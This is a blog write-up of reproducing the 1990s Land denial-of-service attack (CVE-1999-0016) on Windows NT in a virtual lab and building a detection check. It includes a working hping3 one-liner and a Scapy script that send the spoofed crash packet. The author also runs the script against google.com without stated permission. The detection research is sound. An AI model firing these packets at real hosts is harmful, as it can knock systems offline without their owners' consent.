The fair question is why in 2018 someone might want to deal with Windows NT and vulnerabilities in it. Now Windows NT is a great analogue of DVWA (Damn Vulnerable Web Application), but for operating systems. There are a lot of well-described vulnerabilities with ready-made exploits. A great tool for practising.

Well, despite the fact that this operating system is not supported since 2004, it can be used in some weird legacy systems. 😉

Vulnerability description

CVE-1999-0016 description from NVD:

Land IP denial of service.

A very short and unusual description for NVD, right? 🙂

But still there is a list of vulnerable systems:

cpe:2.3:o:hp:hp-ux:9.00:*:*:*:*:*:*:*
...
cpe:2.3:o:hp:hp-ux:11.00:*:*:*:*:*:*:*
cpe:2.3:o:microsoft:windows_95:*:*:*:*:*:*:*:*
cpe:2.3:o:microsoft:windows_nt:4.0:*:*:*:*:*:*:*
cpe:2.3:o:netbsd:netbsd:1.0:*:*:*:*:*:*:*
cpe:2.3:o:netbsd:netbsd:1.1:*:*:*:*:*:*:*
cpe:2.3:o:sun:sunos:4.1.3u1:*:*:*:*:*:*:*
cpe:2.3:o:sun:sunos:4.1.4:*:*:*:*:*:*:*
...
cpe:2.3:o:cisco:ios:7000:*:*:*:*:*:*:*
OR
cpe:2.3:a:gnu:inet:5.01:*:*:*:*:*:*:*
cpe:2.3:a:microsoft:winsock:2.0:*:*:*:*:*:*:*

Preparing a stand

So, to reproduce it and debug a detection script we need to create a working stand.

NB. I was choosing from NetBSD 1.1, Windows 95 and Windows NT, because they are easiest to run in virtualized environment. I chose NetBSD at first, but then rejected it because of the problems with floppy disk images not supported by VirtualBox:

https://ftp.netbsd.org/pub/NetBSD-archive/NetBSD-1.1/i386/INSTALL
https://ftp.netbsd.org/pub/NetBSD-archive/NetBSD-1.1/i386/floppies/README.files
https://ftp.netbsd.org/pub/NetBSD-archive/NetBSD-1.1/i386/floppies/

I also felt that there also might be some problems with network configuration. So, I decided not to spend time on this and chose Windows NT server instead.

Well, Windows NT is an abondonware and, despite the fact that Microsoft has all the rights on it, there are plenty sites where you can download distribution CD iso.

The whole installation and configuration process in VirtualBox was pretty straightforward. Note that “PCnet-PCI 2” network adaptor should be used.

As a result in I’ve got Dabian server as an attacker’s host and Windows NT server as a target in one VirtualBox network. And I could scan Windows NT nmap for example:

root@debian:/home/aleonov# nmap 192.168.56.5

Starting Nmap 7.40 ( https://nmap.org ) at 2018-10-19 15:31 MSK
Nmap scan report for 192.168.56.5
Host is up (0.00089s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
21/tcp open ftp
70/tcp open gopher
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
1028/tcp open unknown
MAC Address: 08:00:27:9A:04:20 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.47 seconds

Here is fully functional Microsoft IIS from 1996:

Exploitation

The next step was to exploit the vulnerability. I have tried these exploits from ExploitDB.

https://www.exploit-db.com/exploits/20810/
https://www.exploit-db.com/exploits/20811/
https://www.exploit-db.com/exploits/20812/
https://www.exploit-db.com/exploits/20813/
https://www.exploit-db.com/exploits/20814/

Most of them have problems with compilation or execution but I was able to use this one:

https://www.exploit-db.com/exploits/20814/

# gcc -o 20814 20814.c; chmod +x 20814;
# ./20814 192.168.56.51 80
Packet sent. Remote machine should be down.

The target Windows NT host was frozen for some time after the packet was send.

Detection

So I started to think how to detect that the attack was successful. I made the small bash script that was constantly checking the state of the port. After the attack the open port become closed for some time.

# a=0; while true; do nmap -p 139 192.168.56.5 | grep "139"; a=$(($a+1)); echo "$a"; done;
139/tcp open netbios-ssn
1
139/tcp open netbios-ssn
2
139/tcp open netbios-ssn
...
139/tcp open netbios-ssn
9
139/tcp closed netbios-ssn
10
139/tcp closed netbios-ssn
11

So the idea was to check that the port is open, then send a malicious packet and if the port become closed the host is vulnerable. And if the port was still open the host is NOT vulnerable.

Then I also figured out that we can get the same effect by sending one syn packet where source port and ip are the same as destination port and ip. This was an idea behind an initial attack. And actually we can do it just with:

hping3 192.168.56.5 -s 139 -p 139 -S -a 192.168.56.5 -c 1

So then I was looking how to script this in Python and finally used Scapy module (https://scapy.net/) for sending and receiving packets:

#!/usr/bin/python2.7

from scapy.all import *
import sys
import time

target = sys.argv[1]
port = int(sys.argv[2])

#port=139
#target="192.168.56.5"

SYNACKpkt = sr1(IP(dst=target) /
                TCP(dport=port, flags="S"), timeout = 5, verbose = False)
if SYNACKpkt:
    pktflags = SYNACKpkt.getlayer(TCP).flags
else:
    print("Connection Error")
    exit()

if pktflags == "SA":
    print("Port " + str(port) + " is open, ready for check...")

    SYNACKpkt = sr1(IP(dst=target, src = target) /
                    TCP(sport=port, dport=port, flags="S"), timeout = 5, verbose = False)
    print("Malformed packet sent")
    time.sleep(5)

    SYNACKpkt = sr1(IP(dst=target) /
                    TCP(dport=port, flags="S"), timeout = 5, verbose = False)
    pktflags = SYNACKpkt.getlayer(TCP).flags
    
    if pktflags == "RA":
        print("Port " + str(port) + " become closed -> Host is vulnerable")
    if pktflags == "SA":
        print("Port " + str(port) + " is still open -> Host is NOT vulnerable")
elif pktflags == "RA":
    print("Port " + str(port) + " is closed, nothing to check")

And here are some examples of how I was running the script against vulnerable target and some other hosts:

# easy_install pip
# pip2.7 install scapy

# ./check_landc.py 192.168.56.5 139
Port 139 is open, ready for check...
Malformed packet sent
Port 139 become closed -> Host is vulnerable

# ./check_landc.py google.com 80
Port 80 is open, ready for check...
Malformed packet sent
Port 80 is still open -> Host is NOT vulnerable

# ./check_landc.py localhost 123
Connection Error

Alternative ways of detection

The check is a bit dangerous because it actually affects the host. It is temporal but still. So I also was looking for alternative ways of detection. But I haven’t found much.
Here are version-based checks for Cisco and HP-UX in SCAP format:

• HP
• Cisco

The same check for HPUX wes realized in Nessus as well:

16850 HP-UX PHNE_14017 : s700_800 11.00 cumulative ARPA Transport patch

Nessus also has an active check for the vulnerability:

10133 TCP/IP SYN Loopback Request Remote DoS (land.c)

I watched the code of it. It is based on the same principle: attack and see if the target port is still open. So pretty much like my script.